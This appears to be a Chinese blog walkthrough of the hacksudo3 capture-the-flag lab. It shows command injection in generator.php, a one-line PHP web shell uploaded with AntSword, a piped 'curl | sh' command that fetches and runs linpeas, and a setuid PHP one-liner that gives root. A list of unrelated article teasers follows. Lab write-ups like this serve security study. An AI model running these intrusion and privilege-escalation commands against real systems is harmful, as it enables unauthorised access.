hacksudo3 通关详解
环境配置
一开始桥接错网卡了 搞了半天 改回来就行了
信息收集
漏洞发现
扫个目录
大概看了一眼没什么有用的信息 然后对着login.php跑了一下弱口令 sqlmap
都没跑出来 那么利用点应该不在这 考虑到之前有过dirsearch字典太小扫不到东西的经历
换个gobuster扫一下
先看看generator.php
随便填点东西执行一下 感觉像命令注入
尝试弹个shell
没成功
那就写了个一句话 然后用蚁剑传shell
提权
优化shell
看看还有没有用户,有可能待会会切过去
用linpeas枚举脆弱性
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
没看见特别显眼的
版本过高
考虑到有个hacksudo的用户
再收集一波信息看看能不能切过去
发现有个hacksudo的文件 
有加密 一眼凯撒
没有sudo权限
在work路径下发现sh文件
没执行权限
也没看见相关的计划任务
再传个linpeas枚举
可以lxd提权
也可以view 或 php提权
这里用php提权
CMD="/bin/sh"
./home/hacksudo/locker/php -r "posix_setuid(0); system('$CMD');"
相关文章：
hacksudo3 通关详解
环境配置 一开始桥接错网卡了 搞了半天 改回来就行了 信息收集 漏洞发现 扫个目录 大概看了一眼没什么有用的信息 然后对着login.php跑了一下弱口令 sqlmap 都没跑出来 那么利用点应该不在这 考虑到之前有过dirsearch字典太小扫不到东西的经历 换个gobuster扫一下 先看看g…...
CentOS 虚拟机磁盘扩容（非常实用）
新手村的选手在刚开始安装使用 CentOS 虚拟机时，很多选项都会按照推荐操作来，比如：磁盘推荐大小为 20 GB；但随着后面的使用，总会因为“磁盘根目录不足”原因，而导致软件无法安装、虚拟机无法正常运行等&…...
docker案例复现
$uri导致的CRLF注入漏洞 前期准备dockerdocker compose 漏洞配置 前期准备 docker 要完成这样的测试，需要我们有一定的环境，也就是需要大家去安装docker 更新系统软件包： sudo yum update 安装 Docker 的依赖软件包： sudo yum …...
淘宝资源采集（从零开始学习淘宝数据爬取）
1. 为什么要进行淘宝数据爬取？ 淘宝数据爬取是指通过自动化程序从淘宝网站上获取数据的过程。这些数据可以包括商品信息、销售数据、评论等等。淘宝数据爬取可以帮助您了解市场趋势、优化您的产品选择以及提高销售额。 淘宝作为全球的电商平台，每天都有…...
【C语言】预处理详解
本文目录 1 预定义符号 2 #define 2.1 #define 定义标识符 2.2 #define 定义宏 2.3 #define 替换规则 2.4 #和## 2.5 带副作用的宏参数 2.6 宏和函数对比 2.7 命名约定 3 #undef 4 命令行定义 5 条件编译 6 文件包含 6.1 头文件被包含的方式 6.2 嵌套文件包含 1 预定义符号 __…...
2023中国（合肥）场景创新峰会成功举办，全息网御被纳入《合肥市第二批场景能力清单》
场景作为重要的城市资源，在驱动科技创新、产业发展、城市治理方面发挥着重要作用。近年来，为促进数字技术与实体经济深度融合，加速前沿科技转化落地、吸引全球创新资源集聚，合肥市聚焦“双找”：为产品找场景࿰…...
QT QLCDNumber 使用详解
本文详细的介绍了QLCDNumber控件的各种操作，例如：新建界面、源文件、设置显示位数、设置进制、设置外观、设置小数点、设置溢出、显示事件、其它文章等等操作。 实际开发中，一个界面上可能包含十几个控件，手动调整它们的位置既费时…...
明年，HarmonyOS不再兼容Android应用！
2023年华为开发者大会，不知道各位老铁们是否观看了，一个震撼的消息就是，首次公开了HarmonyOS NEXT的概念，简而言之就是，这是一款专为开发者打造的预览版操作系统，旨在提供"纯正鸿蒙操作系统"的体…...
华为OD机试 - 人气最高的店铺（Java JS Python）
题目描述 某购物城有m个商铺，现决定举办一场活动选出人气最高店铺。 活动共有n位市民参与，每位市民只能投一票，但1号店铺如果给该市民发放 q 元的购物补贴，该市民会改为投1号店铺。 请计算1号店铺需要最少发放多少元购物补贴才能成为人气最高店铺（即获得的票数要大于其…...
mysql sql 语句sum求和嵌套数学表达式
今天有个需求, 已减高度 高度 x 单双开(单开1 双开2) x 2,要直接写在sql语句中。 表字段 包含 高度 和 单双开字段 值是字符串 (双开 左单开 右单开) -- 已减高度 2 * 单双开 * 高度 sum( -- 求和 表达式 已减高度 2 * 单双开 * 高度 t_cloth.hegiht * 2 * (case WHEN l…...
Java课题笔记~ Servlet编程
1.Servlet编程基础 (1)什么是Servlet Servlet是基于Java语言的Web编程技术，部署在服务器端的Web容器里，获取客户端的访问请求，并根据请求生成响应信息返回给客户端。 创建Servlet的方式，有 如下图：一般创建Servlet都…...
修改IDEA的idea.vmoptions参数导致IDEA无法打开（ReservedCodeCacheSize）
事发原因 Maven导依赖的时候OOM，因此怀疑是内存太小，尝试修改idea.vmoptions的参数，然后发现IDEA重启后打不开了，卸载重装后也无法打开。。。 实际上如果导包爆出OOM的话应该调整下图参数，不过这都是后话了 解决思路…...
P1321 单词覆盖还原
题目描述 一个长度为 l l l 的字符串中被反复贴有 boy 和 girl 两单词，后贴上的可能覆盖已贴上的单词（没有被覆盖的用句点表示），最终每个单词至少有一个字符没有被覆盖。问贴有几个 boy 几个 girl？ 输入格式 一行被…...
GODOT游戏引擎简介，包含与unity性能对比测试，以及选型建议
GODOT，是一个免费开源的3D引擎。本文以unity作对比，简述两者区别和选型建议。由于是很久以前写的ppt，技术原因视频和部分章节丢失了。建议当做业务参考。 GODOT目前为止遇到3个比较重大的基于，第一个是oprea的合作奖，…...
Add-in Express for Microsoft Office and Delphi Crack
Add-in Express for Microsoft Office and Delphi Crack 适用于Microsoft Office和Delphi VCL的Add-in Express使您能够在几次点击中为Microsoft Office开发专业插件。它生成基于COM的项目，这些项目包含Microsoft Office外接程序或智能标记的所有必要功能࿰…...
opencv基础-34 图像平滑处理-2D 卷积 cv2.filter2D()
2D卷积是一种图像处理和计算机视觉中常用的操作，用于在图像上应用滤波器或卷积核，从而对图像进行特征提取、平滑处理或边缘检测等操作。 在2D卷积中，图像和卷积核都是二维的矩阵或数组。卷积操作将卷积核在图像上滑动，对每个局部区…...
webSocket 与传统的 http 有什么优势
webSocket 与传统的 http 有什么优势 当页面中需要观察实时数据的变化（比如聊天、k 线图）时，过去我们往往使用两种方式完成 第一种是短轮询，即客户端每隔一段时间就向服务器发送消息，询问有没有新的数据 第二种是长轮询…...
如何测试Linux磁盘的读写速度
在Linux系统中也有很多命令可以测试硬盘的读写速度指标。以下是几个常用命令（注意：在执行测试命令之前，请务必备份数据以避免数据丢失！ 1、dd 命令 首先挂载磁盘 mount /dev/sdb /testdd 命令可用于进行硬盘读写速度测试。 例…...
Spring Data Redis：在Java中操作Redis
目录 一、Spring Data Redis使用方式 1.1 介绍 1.2 配置 1.3 RedisTemplate 二、环境搭建 2.1 导入Spring Data Redis的maven坐标 2.2 配置Redis数据源 2.3 编写配置类，创建RedisTemplate对象 三、操作常见类型数据 3.1 操作字符串类型数据 …...
Android 面试重点之Framework （Handler篇）
近期在网上看到不少Android 开发分享的面试经验，我发现基本每个面经中多多少少都有Framework 底层原理的影子。它也是Android 开发中最重要的一个部分，面试官一般会通过 Framework底层中的一些逻辑原理由浅入深进行提问，来评估应聘者的真实水…...
Linux下C/C++高效调试工具与技巧全解析
1. Linux终端下C/C调试工具演进史作为一名长期在Linux环境下开发C/C程序的老兵，我深刻理解调试工作对开发效率的影响。很多人对GDB的印象还停留在原始的命令行界面，实际上经过多年发展，终端下的调试工具已经形成了完整的生态体系。从最基础的…...
基于Matlab的多自由度轴承静刚度计算之旅
基于Matlab的多自由度轴承静刚度计算 因分析静态下刚度结果，仅考虑重力作用，未考虑离心力的作用 深沟球轴承和圆锥轴承基本参数包括滚珠数量、滚珠直径、中称直径、曲率和材料参数 程序已调通，可直接运行在机械工程领域，深入了解轴…...
从85分到95+：复盘我在科大奥锐虚拟仿真实验平台踩过的那些‘坑’
从85分到95：科大奥锐虚拟仿真实验平台的实战避坑指南 第一次接触科大奥锐虚拟仿真实验平台时，我和大多数同学一样，以为这不过是传统实验的电子版。直到连续三次实验分数卡在85分上下，才意识到这个平台对操作细节的严苛程度远超预期…...
论文AI率高不等于抄袭2026年高校政策盘点
论文AI率高，会不会被认定为学术不端？会不会影响毕业？和传统的"查重超标"性质一样吗？ 这些问题在2026年毕业季被问得很多。这篇文章梳理清楚。 AI率高和抄袭：两件不同的事 先把概念说清楚： 传…...
BR DI426数字输入模块
B&R DI426 数字输入模块是一款工业自动化系统用的 I/O 模块，主要用于采集现场开关量信号并传输至控制系统。一、基本概述型号：DI426类型：数字输入模块用途：采集工业现场的开关量信号，为控制系统提供输入数据二、主…...
10分钟掌握 Terraform AWS EKS Blueprints 的 Karpenter 集成：实现自动节点扩展与成本优化终极指南
10分钟掌握 Terraform AWS EKS Blueprints 的 Karpenter 集成：实现自动节点扩展与成本优化终极指南 【免费下载链接】terraform-aws-eks-blueprints Configure and deploy complete EKS clusters. 项目地址: https://gitcode.com/gh_mirrors/te/terraform-aws-eks…...
收藏！小白程序员必看：轻松入门大模型核心概念MCP与Skill，解锁AI能力新姿势！
本文通过生活化比喻，深入浅出地解释了AI领域中的MCP和Skill两大核心概念。MCP如同AI世界的“USB接口”，是标准化的连接协议，让AI能调用外部工具；Skill则像“工作手册”，是工作规范/技能模板，告诉AI在不同场…...
JavaScript注释的艺术：gh_mirrors/js/js教你写出自解释代码
JavaScript注释的艺术：gh_mirrors/js/js教你写出自解释代码 【免费下载链接】js :art: A JavaScript Quality Guide 项目地址: https://gitcode.com/gh_mirrors/js/js 在JavaScript开发中，注释是代码质量的重要组成部分，但很多开发者误…...
Nunchaku FLUX.1-dev效果展示：4步生成惊艳图片案例分享
Nunchaku FLUX.1-dev效果展示：4步生成惊艳图片案例分享 你是否曾经被AI生成图片的漫长等待时间所困扰？传统文生图模型往往需要20步以上的推理才能获得理想效果，而今天我要展示的Nunchaku FLUX.1-dev模型，仅需4步就能生成令人惊艳…...
Eigen库实战指南——从基础到精通
1. Eigen库基础入门：矩阵与向量操作 第一次接触Eigen库是在做机器人运动学仿真时，当时被它简洁的API设计惊艳到了。这个纯头文件的C模板库，不需要编译安装，只需包含头文件就能使用，对开发者极其友好。Eigen最核心的Mat…...